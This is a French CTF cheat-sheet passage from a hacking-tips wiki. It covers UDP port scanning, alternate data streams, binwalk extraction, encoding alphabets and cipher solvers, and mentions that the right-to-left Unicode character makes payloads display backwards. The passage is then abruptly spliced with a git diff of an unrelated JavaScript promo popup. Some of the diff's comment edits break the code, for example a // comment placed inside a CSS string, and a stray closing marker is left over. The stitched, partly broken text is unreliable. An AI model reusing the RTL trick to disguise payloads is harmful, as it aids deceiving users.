Un paquet UDP vide est envoyé à un port spécifique. Si le port UDP est ouvert, aucune réponse n'est renvoyée par la machine cible. Si le port UDP est fermé, un paquet ICMP de port inaccessible devrait être renvoyé par la machine cible.\
Le scan de ports UDP est souvent peu fiable, car les pare-feu et les routeurs peuvent ignorer les paquets ICMP.\
Cela peut entraîner des faux positifs dans votre scan, et vous verrez régulièrement\
des scans de ports UDP montrant tous les ports UDP ouverts sur une machine scannée.\
o La plupart des scanners de ports ne scannent pas tous les ports disponibles, et ont généralement une liste prédéfinie de “ports intéressants” qui sont scannés.
# CTF - Astuces
Dans **Windows**, utilisez **Winzip** pour rechercher des fichiers.\
**Flux de données alternatifs**: _dir /r | find ":$DATA"_\
```
binwalk --dd=".*" <file> #Extract everything
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
```
## Crypto
**featherduster**\
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
**Base32**(5 —>8) —> A…Z, 2…7\
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
**Uuencode** --> Commencez par "_begin \<mode> \<filename>_" et des caractères étranges\
**Xxencoding** --> Commencez par "_begin \<mode> \<filename>_" et B64\
\
**Vigenere** (analyse de fréquence) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
**Scytale** (décalage de caractères) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
**25x25 = QR**
factordb.com\
rsatool
Snow --> Cacher des messages en utilisant des espaces et des tabulations
# Characters
%E2%80%AE => Caractère RTL (écrit les charges utiles à l'envers)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,6 +1,6 @@
/**
* HackTricks Training Discounts
*/
(() => {
@ -9,13 +9,13 @@
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
/* Stop if user already dismissed */
// Stop if user already dismissed
if (localStorage.getItem(KEY) === 'true') return;
/* Quick helper */
// Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
/* --- Overlay (blur + dim) --- */
// --- Overlay (blur + dim) ---
const overlay = $('div', `
position: fixed; inset: 0;
background: rgba(0,0,0,.4);
@ -24,7 +24,7 @@
z-index: 10000;
`);
/* --- Modal --- */
// --- Modal ---
const modal = $('div', `
max-width: 90vw; width: 480px;
background: #fff; border-radius: 12px; overflow: hidden;
@ -33,10 +33,10 @@
display: flex; flex-direction: column; align-items: stretch;
`);
/* --- Title bar (link + close) --- */
// --- Title bar (link + close) ---
const titleBar = $('div', `
position: relative;
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
text-align: center;
background: #222; color: #fff;
font-size: 1.3rem; font-weight: 700;
@ -53,7 +53,7 @@
link.textContent = TXT;
titleBar.appendChild(link);
/* Close "X" (no persistence) */
// Close "X" (no persistence)
const closeBtn = $('button', `
position: absolute; top: .25rem; right: .5rem;
background: transparent; border: none;
@ -65,11 +65,11 @@
closeBtn.onclick = () => overlay.remove();
titleBar.appendChild(closeBtn);
/* --- Image --- */
// --- Image ---
const img = $('img');
img.src = IMG; img.alt = TXT; img.style.width = '100%';
/* --- Checkbox row --- */
// --- Checkbox row ---
const label = $('label', `
display: flex; align-items: center; justify-content: center; gap: .6rem;
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
@ -83,7 +83,7 @@
};
label.append(cb, document.createTextNode("Don't show again"));
/* --- Assemble & inject --- */
// --- Assemble & inject ---
modal.append(titleBar, img, label);
overlay.appendChild(modal);
@ -93,7 +93,7 @@
document.body.appendChild(overlay);
}
})();
*/
/**